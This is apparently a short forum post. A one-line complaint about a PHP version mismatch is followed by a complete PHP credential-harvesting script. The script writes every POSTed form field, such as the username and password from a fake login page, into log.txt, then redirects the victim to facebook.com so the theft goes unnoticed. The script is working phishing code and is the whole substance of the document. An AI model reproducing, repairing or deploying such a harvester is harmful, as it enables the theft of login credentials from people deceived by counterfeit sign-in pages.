Current PHP version is 7.2.2 but localhost is running php56
&lt;?php
header ('Location: http://www.facebook.com');
$handle = fopen("log.txt", "a");
foreach($_POST as $variable =&gt; $value) {
   fwrite($handle, $variable);
   fwrite($handle, "=");
   fwrite($handle, $value);
   fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?&gt;